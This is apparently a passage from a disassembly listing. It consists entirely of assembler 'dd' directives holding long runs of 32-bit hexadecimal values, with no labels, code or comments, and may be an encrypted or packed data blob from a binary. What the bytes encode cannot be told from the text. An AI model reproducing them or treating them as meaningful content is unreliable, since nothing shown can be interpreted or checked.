		dd 0E4FEA43Dh, 29B14AFDh, 267D0091h, 2ABBC82Bh,	46F7608Bh
		dd 12B9EF7h, 62EAD8B7h,	5211F7E9h, 5FE62245h, 0B4D5A574h
		dd 0FCB025C2h, 0C01D7754h, 0F84C7C4Fh, 1FD6FFBCh, 6E23097Fh
		dd 438385B9h, 0E07ECB38h, 1DE6C684h, 0D473D558h, 0D705745Ch
		dd 0E3C16762h, 8287CFCAh, 87E2F1C6h, 280BBD8Ch,	878DE76Eh
		dd 24B644Ah, 0B314B469h, 576B7050h, 21893C00h, 4F7D64F4h
		dd 0A75AC981h, 46B462E4h, 0A0D4ADh, 5068BC16h, 0B651907Ch
		dd 0DB8EC2ABh
		dd 0F97B11BDh, 0CCAC18A2h, 0F66DB87Fh, 11CEA812h, 252D713Eh
		dd 0B309AB5Dh, 2495C6ECh, 0A6FD2F62h, 0D3F49F88h, 0DDC568ECh
		dd 181FF891h, 0EF9AF62Bh, 0F5D81F77h, 9B1E397h,	0C60BB477h
		dd 12A77F9Ch, 1B2B222Eh, 0DB19AC25h, 0CAA386D7h, 9C3C5804h
		dd 0C6E477A5h, 97B519C9h, 0C3700C07h, 0DB6A1446h, 64194597h
		dd 0A14BDC40h, 0F558196Dh, 0AA79C027h, 0D78B6C0Fh, 5C9CB9E3h
		dd 64A3FCB6h, 0A9462C79h, 2AD2BF0Dh, 0C6863130h, 7F219084h
		dd 82628A42h, 0C299BBC9h, 0A508EA73h, 0D250489Ah, 0FC504613h
		dd 610EB881h, 3B18B444h, 1A8B1FA7h, 85033D3Eh, 0E44A7391h
		dd 94DF37Dh, 761FB33h, 70C46799h, 9BC0ACE4h, 71FBBA43h
		dd 0B66FA3Ah, 5C44F468h, 717C567Ch, 7D6A076Fh, 7E01EAE6h
		dd 0BED2C4C1h, 792CEB68h, 0E5D0452Eh, 0AADCCEE2h, 0E2E3FC14h
		dd 7E62F609h, 3557DDBFh, 69F2FCADh, 0BBC279D6h,	0BCD3BDF6h
		dd 0A0D4472Bh, 5C2D79BFh, 5AEF7167h, 0D8872D1Eh, 0B8CD690h
		dd 0B459BAD9h, 7C81CA0Bh, 0A1780EA3h, 2160D6ABh, 0FB7DCA97h
		dd 1F07E637h, 5E9064F8h, 8EDC039Bh, 4B08016Ch, 35F81F56h
		dd 5FDE0AF1h, 18CBBF8Bh, 8278FE58h, 25C77496h, 0B291AACFh
		dd 0F5E6520Ah, 68A4A983h, 206E6D5Ch, 1DBE978Fh,	4C0F77B0h
		dd 46D5C024h, 0B780F160h, 344B936Ah, 133C192Bh,	0FB7BE44h
		dd 0C054573Eh, 11D33B0Fh, 0A2392A43h, 29377634h, 92E006F6h
		dd 7C5A81BFh, 5AC8E67Dh, 39C8A78Dh, 355BE265h, 48C319A2h
		dd 88282535h, 62BF0548h, 21492995h, 96172540h, 0A8581702h
		dd 719EBBC3h, 0C4B6D89Ch, 0DCD4CF07h, 3C3615E5h, 0AD6EED1Ah
		dd 9AE8121Eh, 352E72F6h, 9F465211h, 89C30CB2h, 0B0F72349h
		dd 68BF0187h, 1F28A7A4h, 61BAA04Fh, 8D1B6D2Fh, 5730E36h
		dd 0D3D0BA70h, 861E126Dh, 727EA11Fh, 17C120A5h,	80C5E908h
		dd 78F697CEh, 0AF65401Ch, 0DE0F410Ch, 9DCE78BEh, 0AF190A0Dh
		dd 0BA8016F1h, 6D675758h, 6C6491B8h, 1A621345h,	0C0A7BB79h
		dd 0D545887Eh, 0EEBC90ECh, 6961971Dh, 0F5D61405h, 374E65C2h
		dd 0B97A6BBCh, 0F81A5BE7h, 0B0A1A131h, 0B5469E3Ah, 0F81521CDh
		dd 0FBCA34E5h, 0DD6C5FE4h, 9FAABCE5h, 1498A5A2h, 3245D348h
		dd 4F1739CDh, 0E39E350Ah, 0EBBEFB95h, 40615F8Dh, 0EF2AC2B0h
		dd 0B3BB15B1h, 52E3884Bh, 0F1795FC8h, 9D970E43h, 0BB9CFEFAh
		dd 0D34B1AD7h, 0FFED6A41h, 0EAD4C2D7h, 0F462157Bh, 3BD129B0h
		dd 15CEE3E0h, 0C9B4FA2Fh, 0E21C9C23h, 7F815D41h, 93CC9647h
		dd 3C3351F8h, 0A466D40Bh, 6C370BC5h, 0B3B30EF9h, 0F8D84D52h
		dd 89F570FCh, 313A29ECh, 2195B072h, 5A11A85Ah, 0A9E44596h
		dd 548621C0h, 218C47EAh, 1583F34Ch, 1DBB86E3h, 0A822B3CAh
		dd 6DD17280h, 4D6B93AFh, 775638CCh, 532EA4FFh, 2A945239h
		dd 0A25D757Ah, 2D0BF6h,	4E63FE02h, 0D51CEC41h, 965764D7h
		dd 0C07018A5h, 6E33D9C3h, 3DB3D7Dh, 0E70B878Eh,	0FD480D70h
		dd 0EF0B23A2h, 0F77043B7h, 12FA0C09h, 25F325EDh, 0AF70B148h
		dd 0E6E7D53Ah, 1B9A78D0h, 2A9127FFh, 371CCF89h,	0A6F78407h
		dd 0E0F184AFh, 436ACD06h, 6A4A6320h, 2817C52Ah,	948B7C1Fh
		dd 0E8AECF9Ah, 602093AAh, 0C20656C4h, 0E404E330h, 1D5A2723h
		dd 0AEB80A34h, 719695DFh, 32FB335Bh, 1E7E1FB0h,	62653AADh
		dd 16E2AD68h, 0B0F650BEh, 0F86BB8E7h, 0FF0BF181h, 0E3167213h
		dd 437CD357h, 9AFEFC37h, 0AF78B11h, 0F765C237h,	0A492C3C0h
		dd 0EFCBDE0Dh, 0CC17BA63h, 6899BF50h, 0B4EBE3FEh, 913E986Ah
		dd 51126DFCh, 572C79B5h, 693A9B7Eh, 3C5005h, 846D284Fh
		dd 4ED32EF5h, 0B6C34F9Dh, 0C7609121h, 9D56E4CFh, 0B1D10238h
		dd 0B60AA147h, 18BF68D3h, 7DEF5061h, 5589C03Eh,	9102950Ah
		dd 87FB4693h, 0B643B27Eh, 1BD682B2h, 0DAC96B09h, 0AB72E07Ch
		dd 0C7A3FF90h, 8594228Dh, 9F058A1Eh, 0B6AA6E68h, 0E58A1897h
		dd 0FAD1073Fh, 0AD6C015h, 67141025h, 0BAAC8F24h, 0F4808670h
		dd 828D935Bh, 78D714Bh,	52325CCAh, 33739D3h, 0BE94A835h
		dd 99767D83h, 3E367BACh, 0DCC9D1A8h, 30B4D331h,	0BEC56411h
		dd 8A8D9C55h, 9CA8D524h, 3C12A349h, 8C03412Bh, 67FA51F5h
		dd 0B12CFBDAh, 0E4BD1D6h, 4DF3CED4h, 5F45A2D1h,	0CE48E9A1h
		dd 0D3DA1CEh, 0E029E453h, 0F5F1952Ch, 0A32B5458h, 0F5BB587Dh
		dd 5FBA0358h, 3E5A3B49h, 7A5F27D6h, 24B79407h, 890C435Ch
		dd 0B3D900A6h, 90B4C0FDh, 0A4B118B9h, 770BDB58h, 0A1F1999h
		dd 46C4ADA4h, 63888A6h,	492FB2ACh, 69AB2B11h, 7E0F8150h
		dd 54157EA8h, 7CE0394h,	75BE52C1h, 2368CCF8h, 854F0F02h
		dd 516CE7C3h, 64D3E7EAh, 8A1ECF46h, 7D4A02FFh, 735C3BBDh
		dd 5AE3C9E2h, 0A55EF623h, 0BF6BEB54h, 3711D135h, 4EC2774Bh
		dd 1C3F0CD1h, 0F504552Dh, 0D2810FB5h, 3CE62383h, 6CED54AEh
		dd 3B001E4Ah, 0A4223C93h, 0B6A30ADEh, 0B2521CAh, 540A7CB3h
		dd 326C9CFCh, 0E5A38694h, 0F52BB101h, 8509DBE2h, 5E124622h
		dd 1BF48DBEh, 0CD9168C7h, 0D2B75F85h, 41F4E32Ah, 0CEE6CC4Ah
		dd 895ACE80h, 9FE706B3h, 84EBA187h, 8764B6D7h, 0DAA1682h
		dd 81974D08h, 0D134AF91h, 9DA3ACE2h, 0B646F0CAh, 1F59F794h
		dd 9A1E2B78h, 0D8A75BC4h, 25F85FE7h, 3480C4A4h,	63667BE8h
		dd 1F7CD3A7h, 0DA52A09Ch, 7B715217h, 24E60EF5h,	44F77FA5h
		dd 1E97C9BEh, 0B4471E0Ah, 0BAD2E350h, 1E0AF473h, 0F87EA389h
		dd 277E1E29h, 5B6226D3h, 0E2A80243h, 6A183839h,	711AB28Ah
		dd 398D4914h, 80BC1DD6h, 0E60AC545h, 22F9DF64h,	691D7B6Ah
		dd 0D7352C8Ah, 0F8674EE7h, 4BB759C0h, 0F1AE736Dh, 89474DB9h
		dd 3E7E5256h, 9522822Bh, 0C9AA5969h, 0E0681F80h, 0FD583B0Dh
		dd 0DE452711h, 0C857F8FCh, 2BEA48Fh, 7867F750h,	0C2812B28h
		dd 5111E599h, 0A7EBCA1h, 33E584B4h, 0D40738C0h,	0FAE8075Eh
		dd 0A12D03D3h, 0D28CBDDEh, 66ACAF0Dh, 3CFA94B0h, 55AAE7F0h
		dd 990E14D2h, 66D32FF7h, 0EB74E735h, 0D482321h,	0EA41CE17h
		dd 5FF083A3h, 0F9183338h, 0EA817AFEh, 0CF04974Bh, 5BB30115h
		dd 8BC89DAEh, 0BFB1FD39h, 53DC7D00h, 0ECFD221Ch, 3F2385E4h
		dd 6544D870h, 0A71B990Eh, 1B78BFAAh, 50CF7FCh, 65329496h
		dd 0E2BB5F1Dh, 0FC1F5B44h, 0E3755BC4h, 879F6953h, 0B2992999h
		dd 0B42C8BC8h, 9A16D04Ah, 85F9996Dh, 0B88E8866h, 0E0A0D13Ch
		dd 0D40F0F20h, 0FD2AD6BEh, 7A17C2B1h, 59E6ABE0h, 0EBE4B39h
		dd 0ABC7260Ch, 4578CA69h, 7E4493EEh, 936E42BFh,	0ABF6E1Dh
		dd 263E9210h, 8357644Ch, 0D7F44A99h, 8CC9349Eh,	90B6D430h
		dd 638DC6E3h, 0F62B0B7Dh, 2DF63677h, 7CAD60A9h,	88FD57CDh
		dd 0A6BD181Eh, 0A5F0F6BDh, 0B1A9D46Dh, 398B743Ch, 4CC5A722h
		dd 77329F70h, 3F11637Fh, 85A62834h, 3D5EA7FCh, 3EC57028h
		dd 0D6578D69h, 8CD20752h, 1D9D68E1h, 85D7CEB1h,	542FEF9Ch
		dd 0C87E9BF8h, 127EBD5Bh, 0C3112ACFh, 2B6BA23Eh, 0C6FBEFDCh
		dd 0F77A5BDCh, 0A5000D88h, 0B51BDD12h, 0E1AA30E6h, 0E4448340h
		dd 99474B5h, 0A5293E3Ah, 0F43682A0h, 9C8AB88Bh,	0AF038A46h
		dd 1E5F5673h, 3BABFEA9h, 29F9EF17h, 793ECE76h, 5EF69929h
		dd 0EF153F85h, 0A2F52A33h, 6ED2C8BFh, 3F3EB29Eh, 368A9009h
		dd 35B2D224h, 785865BAh, 73D9AD74h, 2CF1FD4h, 5B3E6791h
		dd 84098174h, 46D5B860h, 0C373CD1Eh, 6340C94Bh,	0E021E0F3h
		dd 8BC5A19Fh, 0C98E1BECh
		dd 0D169B39Dh, 17933CB4h, 36687284h, 56901405h,	0A221EABDh
		dd 490B3E6Dh, 772EAF79h, 0AB12F916h, 0B473D137h, 0CAC8CB23h
		dd 64D5F2B9h, 8E9FD6B8h, 8D29E715h, 0FEE60D1Bh,	0C70AC09Ah
		dd 0F5CCF051h, 0BD119A5Dh, 0C46A84BAh, 32EB7C50h, 93D411B0h
		dd 1561451Eh, 0B54BE0B6h, 0A3D5CC60h, 0AAFED3A2h, 6BD98006h
		dd 1332D5CEh, 5ABDAB59h, 0B273D37Ch, 39384972h,	0E7EA15D0h
		dd 2CF3E05h, 0B49BAB9Ch, 0DB48A2ACh, 8B513B22h,	7FC30A3Ch
		dd 829193E6h, 4BE2EB84h, 0B4040182h, 0F68705F0h, 94C4265Eh
		dd 4123DF8Fh, 8944EE8h,	4034DE2Ah, 0A7A8AE33h, 5F24BC2h
		dd 0CFAF7730h, 641618DCh, 8B2A81E3h, 95A80D3Bh,	0FB240E05h
		dd 0E2C5E6FBh, 2B8E3381h, 10C5AA7Ch, 0A7E84E09h, 45D3BB44h
		dd 9F9FFA9Ah, 0A94751F8h, 22FD8913h, 25ED0257h,	152EA960h
		dd 0F3EFE652h, 0CCF89164h, 744287F9h, 9581F81Eh, 4B73F748h
		dd 0D569EF6Dh, 2B66D7D2h, 87A063A1h, 47ABDD0Eh,	79FB92D5h
		dd 0B598FAE5h, 0C77196C3h, 6FF70059h, 0B8C61C79h, 0DDE077DDh
		dd 532DEEF3h, 0FDE3D1F0h, 3E7101Ah, 0E755AC53h,	0F2F5C066h
		dd 0D549B2FEh, 3DDB2BCCh, 31B473E1h, 8D2778D3h,	142FF3FCh
		dd 0D0BE3EF7h, 4384F0ADh, 28975E15h, 12BCAB5Ah,	0BA239A7Ch
		dd 2CC4D7A5h, 0D93B468Ch, 0CEFF46F7h, 0F26E5852h, 0AA5F273Ah
		dd 0D15C4616h, 9DC593h,	0A4B72ACBh, 0AA558CFFh,	1F627BABh
		dd 47231610h, 736AB12Bh, 24147CA6h, 0E1F870CCh,	0E0218AF0h
		dd 0B83CA905h, 834454A8h, 85A38852h, 54C0EB84h,	0D2468D45h
		dd 412D4A8Dh, 2923FD09h, 70B28A61h, 0B6BB9F23h,	272779C6h
		dd 1E71FB87h, 0E3CC5E0h, 0B83C41A1h, 784B8DF9h,	5A3D1062h
		dd 5ECEE303h, 0ACE45B6Dh, 0F80EB4F4h, 163F91ACh, 71820A8Ah
		dd 0C594135Dh, 370AF517h, 55570C1Fh, 6255BCF5h,	8047B45Fh
		dd 8FAE596Ah, 0C2CFDED3h, 4DC19A6Fh, 597ECD9Dh,	5AABD6A7h
		dd 872D7662h, 0A1A8DA1Dh, 7C421B4Fh, 8C36D496h,	1DFF68Fh
		dd 4AA056BFh, 9981CDE5h, 4EA8B04Dh, 0F8988E4h, 3E7550B6h
		dd 0C4B1087Ah, 0B16D2C4Bh, 0B904FA85h, 0A3E2BA80h, 0DDC4780Ah
		dd 79AB84E4h, 9ED60A6Eh, 0A0CE4626h, 3B306D92h,	0EC21FA00h
		dd 0AC3FAD88h, 0B416E6C0h, 9E632BC0h, 272B9403h, 7FCBE4D7h
		dd 0C9E19224h, 382B538Fh, 114FABD6h, 0C990DEE4h, 867B2315h
		dd 0BE50C8C1h, 0B672C08Dh, 0C0F85DEFh, 0D11417C6h, 0FE9D3533h
		dd 0A1F82FC0h, 0E839EE51h, 0B8DF3E17h, 277BF1FEh, 7F45BCF6h
		dd 7450F603h, 0F80C0973h, 0E4B3C9A1h, 0AA792B9Fh, 1C78327Ah
		dd 4C16E0E8h, 74B8B19Ch, 7BAA31F1h, 88D6AD76h, 509577BAh
		dd 0FC637AEh, 4A22F6EDh, 93335C7Dh, 361837CFh, 1A221AC3h
		dd 6A0A373Ah, 772A9ACFh, 52DA6207h, 826B573h, 9AAB92B5h
		dd 0ABDB15C0h, 14E88BF7h, 52ED6822h, 25EA9F69h,	815627BFh
		dd 688A994Ch, 49CB42B1h, 0FDA1B545h, 7AC5E20Ch,	0C330ED9Eh
		dd 6CEEB94Dh, 0ECE0B021h, 0EE34A12Bh, 8AD37F73h, 19DD45F0h
		dd 0EEE5E0ADh, 0BD677E12h, 0FE07892Fh, 0D859E1C5h, 5A57FBBCh
		dd 15EB7FC5h, 0C4CFE831h, 37CFAB98h, 0EE96E1C1h, 12D1F4DBh
		dd 0A1B3197Fh, 0E6F60224h, 86844328h, 144EF34Ch, 71C13239h
		dd 3B3E612h, 256CE042h,	821F6BD0h, 6E920248h, 44FE8D05h
		dd 955CF96Fh, 0E85F0A73h, 92F47E6Ah, 0C7529FD8h, 764D74EFh
		dd 17A5BD47h, 0E668836Ch, 47EAB8E6h, 5FEF593Bh,	596E7A27h
		dd 14440FB9h, 0F5C2E856h, 0C273431h, 6D265670h,	885C6BB4h
		dd 0CA0C14CEh, 0EB23F9E9h, 4A2F18B7h, 0E0E81330h, 82670B53h
		dd 69F37D80h, 0D707C5B4h, 29CD5FDEh, 8F97DD09h,	249B8388h
		dd 55B29EDCh, 0ECE73120h, 9185E967h, 3C38CE17h,	1CFE51F8h
		dd 0D681E1AFh, 0D9761B08h, 2C58E4E7h, 2237D728h, 5909A90Ah
		dd 5D69CA79h, 0C6E49C94h, 36AC7B03h, 7666F96Ah,	79065CDAh
		dd 4F6DBCA6h, 14E59A23h, 578CAD5Bh, 325FE079h, 0EB7B7E73h
		dd 0F855E538h, 0C2A5EA85h, 3D6DCC3Fh, 563D8981h, 0DA06B14h
		dd 185E98B0h, 1D3B4629h, 133034Dh, 0BF386207h, 95A3B80Dh
		dd 7209EA8Eh, 57CAF3A2h, 0B731375Ah, 0EF07F6A8h, 4B1ECEFAh
		dd 0D67827FCh, 5017D066h, 7EA5A4CBh, 3701E30Ch,	0EAAABA14h
		dd 7D5F2535h, 2CF0DED3h, 2B5CDCA0h, 60DEE5C0h, 8CA5AFAEh
		dd 78082376h, 5318B23Bh, 72F9C5Bh, 0A5571F47h, 66160D81h
		dd 0F729CA81h, 0E69D9FA4h, 22DC5268h, 7E19ABE0h, 3A80A03Fh
		dd 0FF554D76h, 6DA605BCh, 0F717A371h, 0A92AF944h, 6C25C1ACh
		dd 9828411Bh, 0C145746h, 69F82A7Ah, 0E1C385D0h,	0F700403Ch
		dd 0D32DCB48h, 7A6EB715h, 1E98135Dh, 0D5487A4Bh, 0D2B1837h
		dd 0E04A5C55h, 567FE53Dh, 5D85D110h, 56DF2D41h,	0A6D294D4h
		dd 0E8281A56h, 2C8F783Ch, 0A25D62FBh, 2DBB57A5h, 0A0697153h
		dd 22645CD5h, 0D5ED9F0Ch, 847B4BB3h, 72ED3CDEh,	48792633h
		dd 2A82B016h, 768548DDh, 2C7ECCA4h, 0DCAE2CA3h,	73F44C2Fh
		dd 0E1E0F018h, 2B247C07h, 0D7731964h, 0F8B9DD2Dh, 648CA0h
		dd 0A8D2F502h, 0C2997960h, 1A7D453Bh, 818A1516h, 47691371h
		dd 23137946h, 7712E24Ah, 6F017802h, 4DC7D235h, 16FB5FEFh
		dd 0FCDBF4C4h, 0AD479628h, 0CBD25EE1h, 0FD4979B7h, 0ADDBF3E7h
		dd 9C3BD100h, 0FBB3F02Dh, 60E91A27h, 3A955EDCh,	976DBA4Dh
		dd 5728074Eh, 0BC7A356h, 1A020D0Ch, 4209C125h, 34CE4D1Fh
		dd 0EBCDCF6Ch, 76EA0D2Fh, 8CC6890h, 0AB4C1A67h,	9DDFCDF6h
		dd 356D51E8h, 4512BB5Fh, 0C0F87202h, 0B6CFADF5h, 0BA127471h
		dd 3F058ED6h, 0B8D44ED4h, 880A89FAh, 0EAF1944Dh, 9160C66Fh
		dd 81D8DE7h, 0B3797CDEh, 0C32DC642h, 0F100139Eh, 0CFE87C12h
		dd 4F14249Bh, 5DA73C07h, 6AB173B4h, 65F8DA5Ah, 0E5A20FC0h
		dd 6EF60A3Eh, 7905E388h, 9778612h, 0F599452Ch, 0BABEC459h
		dd 631F1398h, 21F799E1h, 0C0D084FEh, 3BD17B72h,	0BD78DBFDh
		dd 55D474B9h, 46077E2Ah, 0F3E2060Bh, 6F76B169h,	0C284D4ADh
		dd 3E423783h, 7436FDD5h, 0F9802A87h, 36A5EB85h,	0EBA9EE4Fh
		dd 1D4C5D8Bh, 7D535A70h, 0C9D4F010h, 0C137585Fh, 1ABA5CCBh
		dd 0C8A8E9Ah, 90760D52h, 0EA589CE9h, 269BF522h,	8BA01DCEh
		dd 0F1C87A04h, 0AB188D8Ah, 0CFCBCFADh, 0A9D46340h, 40AD27C3h
		dd 1AB252E7h, 97491789h, 5BBAF353h, 4A4D8319h, 0AB52262Ch
		dd 0EF172B40h, 8DA3F938h, 6E36AF8Fh, 0F03FAB9Eh, 722FC54Eh
		dd 0DBD6B95Fh, 8DA75702h, 0F0B3661Fh, 303F611Eh, 830FB894h
		dd 0D1F72BA4h, 0ABE32B2Fh, 390BCF21h, 0BD54F577h, 54ECF411h
		dd 0B7CA3C64h, 0EC2DAA78h, 0FD45DCAFh, 0F474123Ch, 0FB4979B4h
		dd 0F36DA1DCh, 38757F07h, 949292CFh, 34B165D7h,	4A2414FAh
		dd 0A87FAF41h, 45219270h, 18A767D4h, 2D1395B5h,	40B55BDDh
		dd 0D5071CFBh, 830EAE6h, 27FB7368h, 724AFDDAh, 6A40B725h
		dd 0F0B381F1h, 0F27463F3h, 127041B7h, 56887838h, 0DF0A3B0Ch
		dd 6792E994h, 0A9884284h, 5D81D158h, 8DC63D2Eh,	8E8DE3F1h
		dd 3869F1CBh, 1E8CD09Fh, 0A9692B36h, 1612CC07h,	958A56B6h
		dd 0D16D2AD0h, 780B5AA9h, 56D3F29Eh, 0B7DBE4BDh, 0C5F308E4h
		dd 0F680506h, 5607D45h,	126D8DE8h, 0CEEE5FB7h, 555A184Ah
		dd 30EA0AD2h, 8CC3D1D3h, 3B146FC4h, 0FEF821F8h,	1F27BC3Fh
		dd 33395578h, 0D46D08CAh, 0C736E2B2h, 0F8DC11A9h, 0CA506D81h
		dd 4AABF81Dh, 0BE6422F7h
		dd 0A2B881B6h, 67098DFDh, 67154D4Fh, 0D1E84DAAh, 0E98368C6h
		dd 0D3A33E61h, 1AC09E80h, 323BB0BFh, 0CD22F306h, 0C0F9192Bh
		dd 0BBB52B5Eh, 7931B2BDh, 0F1465029h, 0D694805Dh, 5CC69F65h
		dd 0C1E39203h, 18C5F787h, 9BFDC16Dh, 52580133h,	0E8447D0Eh
		dd 895D81BAh, 4B0CDA3Bh, 8E339640h, 0A2D99A1Fh,	0A5DE845Fh
		dd 0A5625BCDh, 4D4955B8h, 1C1C4BE4h, 0E7BC03DDh, 0DCD2AFF7h
		dd 74130593h, 0A64C377Eh, 83C856F6h, 0ECD64463h, 39158E89h
		dd 24E03EE0h, 0F3D6BC35h, 0F3765568h, 4121C74Fh, 0AACA06DCh
		dd 0FA2D969Dh, 0EA8E59CEh, 0A2B18342h, 5D485CCBh, 4AE0D5B1h
		dd 0E2AA820Ch, 0EEC1979Bh, 62C11F37h, 3952DECCh, 5A340791h
		dd 2F888CF8h, 7FECFF51h, 54B84664h, 0ECFC2FE0h,	0DD6ADC3Bh
		dd 0BCCC8802h, 9C6F791Eh, 944DA6E0h, 0BB61AB9h,	3E7E46Ah
		dd 3F56DA5Bh, 0CBF42CACh, 4307590Bh, 4140C16Fh,	909A7DFAh
		dd 6677A2E8h, 63B238BBh, 0CB40AD8Eh, 71F96BB5h,	0B6BBE247h
		dd 504C02CFh, 238B6078h, 605EA5F7h, 51B38962h, 0B2568593h
		dd 0E1F105FBh, 8BBFFCBDh, 59B9FF6h, 5130EF4h, 118A2824h
		dd 0C0F2970h, 1CCCD439h, 276F1B43h, 635177DEh, 6883FD9h
		dd 30FA4EE4h, 0B16F2FC4h, 1AD5BD46h, 0D113316Eh, 6320F54Ah
		dd 0E99DCA4Eh, 89EA538Bh, 0C071C0F2h, 0DD0DAF3Bh, 29A3996Fh
		dd 76DF705Ah, 91F72AE8h, 5D2AB99Bh, 6A5E2BEh, 0BDE60D00h
		dd 0D59C8EF4h, 0AF5FD134h, 0A2FFF180h, 0FB70B9C7h, 563F17C8h
		dd 0F99A0224h, 0ED68B094h, 4CD834B3h, 549D360h,	0CD8F3DBEh
		dd 0F3F75383h, 142F86AFh, 9B38158h, 5BEAD57Dh, 7364A316h
		dd 554268A3h, 238DC8F2h, 66EBE2D7h, 720CCD01h, 264C366Ch
		dd 9FE14673h, 75F8F84Ch, 606E5817h, 6335E5C4h, 0F03F7838h
		dd 6F055306h, 0DB069AD9h, 0D56413EBh, 0C6AF52BBh, 0BE794A07h
		dd 0D18562C8h, 0A891755Ah, 0B019B03Ch, 0DF6F72B5h, 3EFC9177h
		dd 0D098B2D1h, 29D62974h, 0BA29A8EBh, 0D8E21EB4h, 19ABF770h
		dd 344C6B3Fh, 4E06C17Fh, 85B39E26h, 79DB1F4Ch, 0B17FF2E1h
		dd 9D28BAD5h, 0D9E41685h, 0DC9A14C1h, 1EC8CDAEh, 235A1378h
		dd 882D224Dh, 707832CFh, 0ECD4DA9Bh, 4EB1D1E0h,	46C317B2h
		dd 0F0CC306Bh, 9A8EA40Ah, 58EC0330h, 9FF38B5Ch,	533DF80Ah
		dd 0A168EE2Fh, 0EEB18D6Ah, 36EDD7CAh, 205F1AC0h, 0BA1A2FB5h
		dd 0E40FB460h, 56E82992h, 95872A18h, 0D90AE46Fh, 0A7DC5B4Eh
		dd 5B95E70Ah, 8EB689FFh, 0BF382D1Fh, 86F3E31Eh,	95339CCBh
		dd 0A17F1836h, 2D47F619h, 0A673F1EAh, 0A377CE13h, 0E7172BB3h
		dd 50FCB40Bh, 20D66DFDh, 0C0826503h, 1E634D61h,	82E63557h
		dd 35E1EDC4h, 23D02813h, 3C887A97h, 56F1DB38h, 0A6539B9Eh
		dd 6D57E532h, 0DA4DB2FBh, 2DAAAB7Bh, 4C97540Ch,	4BBE9D7h
		dd 787446FAh, 58C474D2h, 0F6453F0Fh, 0FD1E0A1Dh, 601A03A2h
		dd 0A74D131h, 0D47C085Ch, 45E83F0Dh, 9E8ACF42h,	0D735781Fh
		dd 241E8DDAh, 8B477B61h, 5C4D7E78h, 0A29C344Dh,	0C9CFA466h
		dd 0A341DBC9h, 0FB66AFB4h, 73D852AFh, 291CC854h, 0F0C47F49h
		dd 0D8BCB645h, 0FC86B9DCh, 88CAAFF3h, 0D6892A25h, 6DD6298Ch
		dd 0DE786B8Dh, 943F9528h, 0F2380104h, 522C038Ch, 0B128851Eh
		dd 22CDC6D6h, 0D1D5DC7Fh, 1A98A693h, 4B79F3FEh,	95CD8661h
		dd 0B9A16495h, 750286C7h, 0B47B7C31h, 0C0FC6BC4h, 0FEF55359h
		dd 0D577B23Ah, 496A0E07h, 24F8804Ch, 0A985962Eh, 1341C19Eh
		dd 0FF7E6543h, 2B44DC4Eh, 1AA7A9B5h, 578A4BC3h,	1B622B3Ch
		dd 47684AE2h, 58C47D83h, 4EE4F41Ah, 0DC6D7C8Ah,	0BF36C514h
		dd 5BC75625h, 252992B2h, 15B5C5FAh, 0EBF5DCC0h,	40D4503h
		dd 21FF6F4h, 6B523DC4h,	0AAFBB755h, 0D019058Bh,	0CC0F1562h
		dd 3CE56E9Dh, 0B2BEC777h, 1DF86433h, 23370BA7h,	0C582F7DAh
		dd 0FD39AAE1h, 0D82B5339h, 72641486h, 0B7F0AD56h, 0F3761F0Fh
		dd 0C3BF06h, 0ADF488C6h, 0CCAE0539h, 0A611437Bh, 0F06301A2h
		dd 766581EAh, 7528DBBFh, 9D1643D2h, 3535E7AEh, 496DAEF0h
		dd 285BBCF0h, 0E27E783Ch, 1228749Bh, 0C45A7A68h, 0A32D5614h
		dd 84292B4Fh, 0FC962FB3h, 8317F55Bh, 0FF15F9C0h, 923A4C89h
		dd 69BD996h, 0C9BC850Dh, 5CB32A98h, 6C3EBFA3h, 0E2284DC8h
		dd 0E4F80896h, 0A698A6AFh, 0F83BD68Dh, 8B405042h, 0EF2B1D54h
		dd 0B04A0AD8h, 0D29D48CAh, 78C40C27h, 0E82A4952h, 5A2CD4F0h
		dd 2EDBF1B3h, 0E0F33755h, 1B1EDFCDh, 0D45DE28Bh, 976CC2A8h
		dd 80A66DA2h, 0E77EEEDFh, 0DAD1A8DCh, 4A0221AEh, 0A3B1D67Eh
		dd 0E75AAA38h, 9C89ED33h, 0E5973F9Ah, 3FDFF7BFh, 61B1CF44h
		dd 0EA503FF8h, 46949B30h, 5A8CA05Ch, 13B9C6A1h,	739E9F7Dh
		dd 0E059D3BEh, 7EE860B9h, 3157B8Dh, 7CD0CAF1h, 0EC57BFF0h
		dd 88BE20B5h, 0FB383336h, 7EE87DD4h, 0A2991E23h, 991A5B62h
		dd 1BC5061Bh, 746C5993h, 3CEB8FEh, 6AD8DEE3h, 6A5689ECh
		dd 0F1E0C2FEh, 2A2B8399h, 457FF1A2h, 4455169Ch,	0BC6A8038h
		dd 2B4D1C58h, 1EDD57D8h, 743FE6Eh, 0F891BA7Eh, 5118A4E1h
		dd 51AA3293h, 15C2ABDFh, 44907B60h, 7B197D5Bh, 9BADE4AFh
		dd 0FDD81FBCh, 52811962h, 0BBDE1E07h, 0F8E909CCh, 82A729FEh
		dd 0CFD0156Ch, 0E17047A0h, 66E4FAD8h, 0F345A5CFh, 0EF42CF56h
		dd 68AB767Ah, 0AA51A075h, 0C87E14F5h, 97C8D4BDh, 30A857F6h
		dd 0FC8A3230h, 9080248Ah, 42A4A1A5h, 0A505055h,	3552A2FCh
		dd 4E92C10h, 0BF23DEF6h, 87225B52h, 834C3929h, 0EEA2D575h
		dd 0E6931CAAh, 7C13B78h, 68B73FDEh, 0F4ED69Bh, 0D22D2AE6h
		dd 0E9BBB048h, 712A5B95h, 9BF7CB52h, 352F331Eh,	0F0E5FBB7h
		dd 0D4AFC1EFh, 0C06B4F81h, 0AA0C3AAEh, 0B7E960EFh, 0AD79968Eh
		dd 8F534DB6h, 707DA1F8h, 9B4AAD74h, 111B7135h, 92DD17CCh
		dd 0FABE0AC3h, 0CEFF45F5h, 0E6A5E814h, 65E2C11Bh, 423EB449h
		dd 0D2E88C3Ch, 0C7757319h, 79FE017Fh, 3A5C81FDh, 3F17D63Bh
		dd 3285DA84h, 506C0752h, 5D34BE1Ch, 9531470Dh, 2A7919DCh
		dd 660FADA4h, 7052D1ACh, 297F886Bh, 4A3EAB9h, 0A1AABC5Dh
		dd 0D14E3B05h, 0E9AB8FEAh, 8FDD8BF8h, 3E8ECDA5h, 0F46546FCh
		dd 2D1A8480h, 0D6E35801h, 8EEFD5E5h, 0D585981Eh, 0D2CB811Ah
		dd 765FE1A8h, 15782884h, 0FBF8AF79h, 7CFA496Eh,	3E23CB90h
		dd 0D48DE02Bh, 0A836264Ah, 2348BAD8h, 2B881EBFh, 82422F00h
		dd 583CDF29h, 0DAAFB694h, 0EA9B3F05h, 6B4A82C6h, 98C492Fh
